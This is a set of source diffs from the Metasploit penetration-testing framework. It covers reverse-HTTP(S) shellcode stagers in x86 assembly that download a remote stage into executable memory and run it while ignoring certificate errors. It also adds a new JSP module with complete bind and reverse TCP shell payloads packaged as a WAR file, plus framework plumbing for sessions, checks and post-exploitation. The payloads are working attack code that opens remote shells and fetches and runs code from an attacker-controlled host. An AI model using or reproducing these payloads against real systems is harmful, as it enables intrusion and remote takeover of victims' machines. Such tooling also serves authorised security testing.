mov ebx, [eax+36] ; Get the ordinal table rva
add ebx, edx ; Add the modules base address
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
mov ebx, [eax+28] ; Get the function addresses table rva
mov ebx, [eax+28] ; Get the function addresses table rva
add ebx, edx ; Add the modules base address
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
add eax, edx ; Add the modules base address to get the functions actual VA
@ -88,10 +92,11 @@ finish:
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;
pop edi ; Pop off the current (now the previous) modules hash
pop edx ; Restore our position in the module list
mov edx, [edx] ; Get the next module
jmp short next_mod ; Process this module
jmp short next_mod ; Process this module

View File

@ -6,6 +6,25 @@
;-----------------------------------------------------------------------------;
[BITS 32]
%ifdef ENABLE_SSL
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00800000 | ; INTERNET_FLAG_SECURE
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
%else
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 ; INTERNET_FLAG_NO_UI
%endif
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
@ -16,65 +35,74 @@ load_wininet:
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
xor ebx,ebx
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push ebx ; DWORD dwFlags
push ebx ; LPCTSTR lpszProxyBypass (NULL)
push ebx ; LPCTSTR lpszProxyName (NULL)
push ebx ; DWORD dwAccessType (PRECONFIG = 0)
push ebx ; LPCTSTR lpszAgent (NULL)
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags
push ebx ; DWORD_PTR dwContext (NULL)
push ebx ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push ecx ; username
push ebx ; password (NULL)
push ebx ; username (NULL)
push dword 4444 ; PORT
push ebx ; HOSTNAME
jmp short dbl_get_server_host ; push pointer to HOSTNAME
got_server_host:
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push ebx ; dwContext (NULL)
push HTTP_OPEN_FLAGS ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
jmp get_server_uri ; push pointer to url
got_server_uri:
push ebx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
xchg esi, eax ; save hHttpRequest in esi
set_retry:
push byte 0x10
pop ebx
pop edi
send_request:
%ifdef ENABLE_SSL
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
%endif
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL)
push ebx ; dwHeadersLength (0)
push ebx ; lpszHeaders (NULL)
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
@ -82,28 +110,30 @@ httpsendrequest:
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short httpsendrequest
dec edi
jnz send_request
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/12345", 0x00
; if we didn't allocate before running out of retries, fall through to
; failure
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call got_server_uri
server_uri:
db "/12345", 0x00
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
@ -135,7 +165,7 @@ execute_stage:
ret ; dive into the stored stage address
get_server_host:
call internetconnect
call got_server_host
server_host:

View File

@ -1,159 +0,0 @@
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short dbl_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push ecx ; username
push dword 4444 ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
httpopenrequest:
pop ecx
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00800000 | ; INTERNET_FLAG_SECURE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
;0x00000200 ; INTERNET_FLAG_NO_UI
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push edx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push byte 0x10
pop ebx
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
httpsendrequest:
xor edi, edi
push edi ; optional length
push edi ; optional
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short set_security_options
dbl_get_server_host:
jmp get_server_host
get_server_uri:
call httpopenrequest
server_uri:
db "/12345", 0x00
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
get_server_host:
call internetconnect
server_host:

View File

@ -1,19 +1,20 @@
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
; Size: 274 bytes
; Build: >build.py stager_reverse_tcp_nx
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%include "./src/block/block_reverse_https.asm"
;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
; Size: 274 bytes
; Build: >build.py stager_reverse_tcp_nx
;-----------------------------------------------------------------------------;
[BITS 32]
[ORG 0]
cld ; Clear the direction flag.
call start ; Call start, this pushes the address of 'api_call' onto the stack.
%include "./src/block/block_api.asm"
start: ;
pop ebp ; pop off the address of 'api_call' for calling later.
%define ENABLE_SSL 1
%include "./src/block/block_reverse_http.asm"
; By here we will have performed the reverse_tcp connection and EDI will be our socket.

View File

@ -303,52 +303,20 @@ class Meterpreter < Rex::Post::Meterpreter::Client
safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_")
self.info = safe_info
# Enumerate network interfaces to detect IP
ifaces = self.net.config.get_interfaces().flatten rescue []
routes = self.net.config.get_routes().flatten rescue []
shost = self.session_host
hobj = nil
# Try to match our visible IP to a real interface
# TODO: Deal with IPv6 addresses
found = !!(ifaces.find {|i| i.addrs.find {|a| a == shost } })
nhost = nil
hobj = nil
if Rex::Socket.is_ipv4?(shost) and not found
# Try to find an interface with a default route
default_routes = routes.select{ |r| r.subnet == "0.0.0.0" || r.subnet == "::" }
default_routes.each do |r|
ifaces.each do |i|
bits = Rex::Socket.net2bitmask( i.netmask ) rescue 32
rang = Rex::Socket::RangeWalker.new( "#{i.ip}/#{bits}" ) rescue nil
if rang and rang.include?( r.gateway )
nhost = i.ip
break
end
end
break if nhost
end
# Find the first non-loopback address
if not nhost
iface = ifaces.select{|i| i.ip != "127.0.0.1" and i.ip != "::1" }
if iface.length > 0
nhost = iface.first.ip
end
end
end
nhost = find_internet_connected_address
original_session_host = self.session_host
# If we found a better IP address for this session, change it up
# only handle cases where the DB is not connected here
if not (framework.db and framework.db.active)
if !(framework.db && framework.db.active)
self.session_host = nhost
end
# The rest of this requires a database, so bail if it's not
# there
return if not (framework.db and framework.db.active)
return if !(framework.db && framework.db.active)
::ActiveRecord::Base.connection_pool.with_connection {
wspace = framework.db.find_workspace(workspace)
@ -384,18 +352,18 @@ class Meterpreter < Rex::Post::Meterpreter::Client
if nhost
framework.db.report_note({
:type => "host.nat.server",
:host => shost,
:host => original_session_host,
:workspace => wspace,
:data => { :info => "This device is acting as a NAT gateway for #{nhost}", :client => nhost },
:update => :unique_data
})
framework.db.report_host(:host => shost, :purpose => 'firewall' )
framework.db.report_host(:host => original_session_host, :purpose => 'firewall' )
framework.db.report_note({
:type => "host.nat.client",
:host => nhost,
:workspace => wspace,
:data => { :info => "This device is traversing NAT gateway #{shost}", :server => shost },
:data => { :info => "This device is traversing NAT gateway #{original_session_host}", :server => original_session_host },
:update => :unique_data
})
framework.db.report_host(:host => nhost, :purpose => 'client' )
@ -470,6 +438,60 @@ protected
attr_accessor :rstream # :nodoc:
# Rummage through this host's routes and interfaces looking for an
# address that it uses to talk to the internet.
#
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_interfaces
# @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes
# @return [String] The address from which this host reaches the
# internet, as ASCII. e.g.: "192.168.100.156"
def find_internet_connected_address
ifaces = self.net.config.get_interfaces().flatten rescue []
routes = self.net.config.get_routes().flatten rescue []
# Try to match our visible IP to a real interface
found = !!(ifaces.find { |i| i.addrs.find { |a| a == session_host } })
nhost = nil
# If the host has no address that matches what we see, then one of
# us is behind NAT so we have to look harder.
if !found
# Grab all routes to the internet
default_routes = routes.select { |r| r.subnet == "0.0.0.0" || r.subnet == "::" }
default_routes.each do |route|
# Now try to find an interface whose network includes this
# Route's gateway, which means it's the one the host uses to get
# to the interweb.
ifaces.each do |i|
# Try all the addresses this interface has configured
addr_and_mask = i.addrs.zip(i.netmasks).find do |addr, netmask|
bits = Rex::Socket.net2bitmask( netmask )
range = Rex::Socket::RangeWalker.new("#{addr}/#{bits}") rescue nil
!!(range && range.valid? && range.include?(route.gateway))
end
if addr_and_mask
nhost = addr_and_mask[0]
break
end
end
break if nhost
end
if !nhost
# Find the first non-loopback address
non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" }
if non_loopback
nhost = non_loopback.ip
end
end
end
nhost
end
end
end

View File

@ -89,7 +89,7 @@ protected
#
# Job run proc, sets up the module and kicks it off.
#
# XXX: Mostly Copy/pasted from simple/auxiliarly.rb
# XXX: Mostly Copy/pasted from simple/auxiliary.rb
#
def self.job_run_proc(ctx)
mod = ctx[0]
@ -99,9 +99,15 @@ protected
# Grab the session object since we need to fire an event for not
# only the normal module_run event that all module types have to
# report, but a specific event for sessions as well.
s = mod.framework.sessions[mod.datastore["SESSION"]]
mod.framework.events.on_session_module_run(s, mod)
mod.run
s = mod.framework.sessions.get(mod.datastore["SESSION"])
if s
mod.framework.events.on_session_module_run(s, mod)
mod.run
else
mod.print_error("Session not found")
mod.cleanup
return
end
rescue ::Timeout::Error => e
mod.error = e
mod.print_error("Post triggered a timeout exception")
@ -135,7 +141,7 @@ protected
#
# Clean up the module after the job completes.
#
# Copy/pasted from simple/auxiliarly.rb
# Copy/pasted from simple/auxiliary.rb
#
def self.job_cleanup_proc(ctx)
mod = ctx[0]

View File

@ -32,6 +32,16 @@ def initialize(info = {})
end
def check
nmod = replicant
begin
nmod.check_host(datastore['RHOST'])
rescue NoMethodError
Exploit::CheckCode::Unsupported
end
end
#
# The command handler when launched from the console
#
@ -79,7 +89,7 @@ def run
@tl = []
while (true)
loop do
# Spawn threads for each host
while (@tl.length < threads_max)
ip = ar.next_ip

View File

@ -198,7 +198,7 @@ class EncodedPayload
# Check to see if we have enough room for the minimum requirements
if ((reqs['Space']) and (reqs['Space'] < eout.length + min))
wlog("#{err_start}: Encoded payload version is too large with encoder #{encoder.refname}",
wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}",
'core', LEV_1)
next_encoder = true
break

View File

@ -104,9 +104,9 @@ class Exploit < Msf::Module
Vulnerable = [ 'vulnerable', "The target is vulnerable." ]
#
# The exploit does not support the check method.
# The module does not support the check method.
#
Unsupported = [ 'unsupported', "This exploit does not support check." ]
Unsupported = [ 'unsupported', "This module does not support check." ]
end
#
@ -746,7 +746,7 @@ class Exploit < Msf::Module
c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch
framework.encoders.each_module_ranked(
'Arch' => c_arch) { |name, mod|
'Arch' => c_arch, 'Platform' => c_platform) { |name, mod|
encoders << [ name, mod ]
}

View File

@ -175,6 +175,8 @@ module Msf
# Special keys to ignore because the script registers this as [:activex] = true or false
next if k == :clsid or k == :method
vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}")
if v.is_a? Regexp
bad_reqs << k if profile[k.to_sym] !~ v
elsif v.is_a? Proc

View File

@ -380,7 +380,7 @@ module Exploit::Remote::TcpServer
'LocalPort' => srvport,
'SSL' => ssl,
'SSLCert' => ssl_cert,
'SSLCompression' => opts['SSLCompression'] || ssl_compression,
'SSLCompression' => ssl_compression,
'Comm' => comm,
'Context' =>
{

View File

@ -101,7 +101,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference
elsif (in_ctx_id == 'BID')
self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s
elsif (in_ctx_id == 'MSB')
self.site = 'http://www.microsoft.com/technet/security/bulletin/' + in_ctx_val.to_s + '.mspx'
self.site = 'http://technet.microsoft.com/en-us/security/bulletin/' + in_ctx_val.to_s
elsif (in_ctx_id == 'EDB')
self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s
elsif (in_ctx_id == 'WVE')

View File

@ -414,7 +414,7 @@ class Payload < Msf::Module
encoders = []
framework.encoders.each_module_ranked(
'Arch' => self.arch) { |name, mod|
'Arch' => self.arch, 'Platform' => self.platform) { |name, mod|
encoders << [ name, mod ]
}

154
lib/msf/core/payload/jsp.rb Normal file
View File

@ -0,0 +1,154 @@
# -*- coding: binary -*-
require 'msf/core'
require 'rex'
module Msf::Payload::JSP
# Outputs jsp that spawns a bind TCP shell
# @return [String] jsp code that executes bind TCP payload
def jsp_bind_tcp
# Modified from: http://www.security.org.sg/code/jspreverse.html
jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try
{
ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} );
Socket client_socket = server_socket.accept();
server_socket.close();
Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
EOS
return jsp
end
# Outputs jsp code that spawns a reverse TCP shell
# @return [String] jsp code that executes reverse TCP payload
def jsp_reverse_tcp
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector extends Thread
{
InputStream is;
OutputStream os;
StreamConnector( InputStream is, OutputStream os )
{
this.is = is;
this.os = os;
}
public void run()
{
BufferedReader in = null;
BufferedWriter out = null;
try
{
in = new BufferedReader( new InputStreamReader( this.is ) );
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
char buffer[] = new char[8192];
int length;
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
{
out.write( buffer, 0, length );
out.flush();
}
} catch( Exception e ){}
try
{
if( in != null )
in.close();
if( out != null )
out.close();
} catch( Exception e ){}
}
}
try
{
Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} );
Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
EOS
return jsp
end
# Wraps the jsp payload into a war
# @return [Rex::Zip::Jar] a war to execute the jsp payload
def generate_war
jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp"
zip = Rex::Zip::Jar.new
web_xml = <<-EOF
<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<welcome-file-list>
<welcome-file>#{jsp_name}</welcome-file>
</welcome-file-list>
</web-app>
EOF
zip.add_file("WEB-INF/", '')
zip.add_file("WEB-INF/web.xml", web_xml)
zip.add_file(jsp_name, generate)
zip
end
end

View File

@ -85,21 +85,24 @@ module Msf::Payload::Windows::PrependMigrate
ror edi, 13 ; Rotate right our hash value
add edi, eax ; Add the next byte of the name
loop loop_modname ; Loop untill we have read enough
; We now have the module hash computed
push edx ; Save the current position in the module list for later
push edi ; Save the current module hash for later
; Proceed to iterate the export address table
mov edx, [edx+16] ; Get this modules base address
mov eax, [edx+60] ; Get PE header
add eax, edx ; Add the modules base address
mov eax, [eax+120] ; Get export tables RVA
test eax, eax ; Test if no export address table is present
jz get_next_mod1 ; If no EAT present, process the next module
add eax, edx ; Add the modules base address
push eax ; Save the current modules EAT
mov ecx, [eax+24] ; Get the number of function names
mov ebx, [eax+32] ; Get the rva of the function names
; use ecx as our EAT pointer here so we can take advantage of jecxz.
mov ecx, [eax+edx+120] ; Get the EAT from the PE header
jecxz get_next_mod1 ; If no EAT present, process the next module
add ecx, edx ; Add the modules base address
push ecx ; Save the current modules EAT
mov ebx, [ecx+32] ; Get the rva of the function names
add ebx, edx ; Add the modules base address
mov ecx, [ecx+24] ; Get the number of function names
; now ecx returns to its regularly scheduled counter duties
; Computing the module hash + function hash
get_next_func: ;
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
@ -118,6 +121,7 @@ module Msf::Payload::Windows::PrependMigrate
add edi, [ebp-8] ; Add the current module hash to the function hash
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
pop eax ; Restore the current modules EAT
mov ebx, [eax+36] ; Get the ordinal table rva
@ -138,6 +142,7 @@ module Msf::Payload::Windows::PrependMigrate
push ecx ; Push back the correct return value
jmp eax ; Jump into the required function
; We now automagically return to the correct caller...
get_next_mod: ;
pop eax ; Pop off the current (now the previous) modules EAT
get_next_mod1: ;

View File

@ -2,6 +2,28 @@
module Msf::Post::Common
def rhost
case session.type
when 'meterpreter'
session.sock.peerhost
when 'shell'
session.session_host
end
end
def rport
case session.type
when 'meterpreter'
session.sock.peerport
when 'shell'
session.session_port
end
end
def peer
"#{rhost}:#{rport}"
end
#
# Checks if the remote system has a process with ID +pid+
#

View File

@ -41,13 +41,14 @@ module Msf::Post::File
return stat.directory?
else
if session.platform =~ /win/
# XXX
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )")
else
f = session.shell_command_token("test -d '#{path}' && echo true")
return false if f.nil? or f.empty?
return false unless f =~ /true/
return true
end
return false if f.nil? or f.empty?
return false unless f =~ /true/
return true
end
end
@ -72,13 +73,17 @@ module Msf::Post::File
return stat.file?
else
if session.platform =~ /win/
# XXX
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
if f =~ /true/
f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )")
end
else
f = session.shell_command_token("test -f '#{path}' && echo true")
return false if f.nil? or f.empty?
return false unless f =~ /true/
return true
end
return false if f.nil? or f.empty?
return false unless f =~ /true/
return true
end
end
@ -93,13 +98,14 @@ module Msf::Post::File
return !!(stat)
else
if session.platform =~ /win/
# XXX
f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )")
else
f = session.shell_command_token("test -e '#{path}' && echo true")
return false if f.nil? or f.empty?
return false unless f =~ /true/
return true
end
return false if f.nil? or f.empty?
return false unless f =~ /true/
return true
end
end

View File

@ -96,6 +96,8 @@ module LDAP
# @param [Integer] Maximum results
# @param [Array] String array containing attributes to retrieve
# @return [Hash] Entries found
# @raise [RuntimeError] Raised when the default naming context isn't
# specified as distinguished name.
def query(filter, max_results, fields)
default_naming_context = datastore['DOMAIN']
default_naming_context ||= get_default_naming_context

View File

@ -74,7 +74,7 @@ module Msf::PostMixin
return @session if @session and not session_changed?
if datastore["SESSION"]
@session = framework.sessions[datastore["SESSION"].to_i]
@session = framework.sessions.get(datastore["SESSION"].to_i)
else
@session = nil
end

View File

@ -279,7 +279,17 @@ class SessionManager < Hash
# Returns the session associated with the supplied sid, if any.
#
def get(sid)
return self[sid.to_i]
session = nil
sid = sid.to_i
if sid > 0
session = self[sid]
elsif sid == -1
sid = self.keys.sort[-1]
session = self[sid]
end
session
end
#

View File

@ -36,35 +36,157 @@ module ModuleCommandDispatcher
self.driver.active_module = m
end
def check_progress
return 0 unless @range_done and @range_count
pct = (@range_done / @range_count.to_f) * 100
end
def check_show_progress
pct = check_progress
if(pct >= (@range_percent + @show_percent))
@range_percent = @range_percent + @show_percent
tdlen = @range_count.to_s.length
print_status("Checked #{"%.#{tdlen}d" % @range_done} of #{@range_count} hosts (#{"%.3d" % pct.to_i}% complete)")
end
end
def check_multiple(hosts)
# This part of the code is mostly from scanner.rb
@show_progress = framework.datastore['ShowProgress'] || mod.datastore['ShowProgress'] || false
@show_percent = ( framework.datastore['ShowProgressPercent'] || mod.datastore['ShowProgressPercent'] ).to_i
@range_count = hosts.length || 0
@range_done = 0
@range_percent = 0
# Set the default thread to 1. The same behavior as before.
threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i
@tl = []
if Rex::Compat.is_windows
if threads_max > 16
print_warning("Thread count has been adjusted to 16")
threads_max = 16
end
end
if Rex::Compat.is_cygwin
if threads_max > 200
print_warning("Thread count has been adjusted to 200")
threads_max = 200
end
end
loop do
while (@tl.length < threads_max)
ip = hosts.next_ip
break unless ip
@tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) { |tip|
# Make sure this is thread-safe when assigning an IP to the RHOST
# datastore option
instance = mod.replicant
instance.datastore['RHOST'] = tip.dup
framework.events.on_module_created(instance)
check_simple(instance)
}
end
break if @tl.length == 0
tla = @tl.length
# This exception handling is necessary, the first thread with errors can kill the
# whole check_multiple and leave the rest of the threads running in background and
# only accessible with the threads command (Thread.list)
begin
@tl.first.join
rescue ::Exception => exception
if exception.kind_of?(::Interrupt)
raise exception
else
elog("#{exception} #{exception.class}:\n#{exception.backtrace.join("\n")}")
end
end
@tl.delete_if { |t| not t.alive? }
tlb = @tl.length
@range_done += (tla - tlb)
check_show_progress if @show_progress
end
end
#
# Checks to see if a target is vulnerable.
#
def cmd_check(*args)
defanged?
ip_range_arg = args.shift || framework.datastore['RHOSTS'] || mod.datastore['RHOSTS'] || ''
